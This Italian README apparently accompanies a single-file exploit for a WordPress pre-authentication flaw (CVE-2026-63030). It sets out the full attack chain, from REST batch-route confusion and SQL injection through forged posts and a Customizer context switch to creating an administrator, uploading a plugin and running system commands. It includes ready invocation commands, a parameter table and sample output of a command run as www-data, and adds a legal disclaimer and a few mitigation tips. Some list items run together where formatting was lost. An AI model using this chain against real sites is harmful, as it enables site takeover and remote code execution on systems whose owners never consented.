
WordPress Exploit RCE non autorizzato | CVE-2026-63030
WordPress REST API confusione di route batch + SQL injection che porta a creazione di amministratore non autorizzato → esecuzione remota di codice — PoC della catena di sfruttamento completa.
Solo per test di sicurezza autorizzati, riproduzione di vulnerabilità e ricerca. Vietato l'uso su obiettivi non autorizzati.
| Voce | Descrizione |
|---|---|
| CVE | CVE-2026-63030 |
| Componente | WordPress Core REST API (/batch/v1) |
| Versioni affette | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (fare riferimento all'annuncio ufficiale) |
| Prerequisito attacco | Il target deve avere REST API batch abilitato; deve esistere almeno un articolo o pagina pubblicati |
| Requisito autorizzazioni | Nessun login richiesto (Pre-Auth) |
| Impatto | Creazione di un account amministratore e possibilità di caricare un plugin per ottenere RCE |
Confusione di route batch REST
→ SQL injection in author__not_in
→ UNION per falsificare WP_Post / cache oEmbed / changeset Customizer
→ Al momento della pubblicazione del Customizer, passaggio al contesto di un amministratore esistente
→ Creazione di un nuovo amministratore tramite REST /wp/v2/users
→ Caricamento di un plugin monouso nel backend
→ Esecuzione di comandi di sistema
Il punto chiave non è "scrittura in pila", ma:
serve_batch_request_v1() non sincronizza gli indici $matches / $validation tra la fase di convalida e quella di pianificazione, causando una confusione di route.author_exclude viene inserita in author__not_in di WP_Query, concatenata in NOT IN (...), generando un'SQL injection.UNION SELECT si falsifica un'intera riga wp_posts, attivando la logica di oEmbed / Customizer e scambiando il contesto utente corrente con un amministratore esistente.proc_open / passthru / system / shell_exec / exec / popen)disable_functions disabilita tutte le funzioni di esecuzione comandi, la creazione dell'amministratore può comunque riuscire, ma la fase RCE falliràCVE-2026-63030/
├── exp.py # Script di sfruttamento completo (singolo file, nessuna dipendenza)
└── README.md # Questo documento
id di default)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
Lo script tenterà al termine di:
Se il processo fallisce a metà, pulire manualmente in base alle credenziali stampate nell'output.
has been disabled for security reasons, significa che disable_functions ha disabilitato la funzione corrispondente. Il PoC tenterà diversi metodi di esecuzione; se tutti sono disabilitati, la RCE non sarà disponibile, ma la creazione dell'amministratore potrebbe comunque riuscire.wp-admin/users.php e wp-content/plugins/./batch/v1disable_functions e una configurazione dell'utente web con privilegi minimi per ridurre l'impatto di una RCEIl codice in questo repository è destinato esclusivamente a scopi di ricerca sulla sicurezza e riproduzione autorizzata di vulnerabilità. L'utente è tenuto a rispettare le leggi locali e l'autorizzazione del sistema target. L'autore non si assume alcuna responsabilità per un uso improprio.
| Parametro | Obbligatorio | Valore predefinito | Descrizione |
|---|
--url | Sì | Nessuno | URL root del WordPress target |
--username | No | wp2_<hex> | Nome utente dell'amministratore da creare |
--password | No | Wp2!<random> | Password dell'amministratore da creare |
--email | No | <username>@wp2shell.invalid | Email dell'amministratore da creare |
--command / -c | No | id | Comando da eseguire tramite il plugin monouso |
--timeout | No | 60 | Timeout HTTP per singola richiesta (secondi) |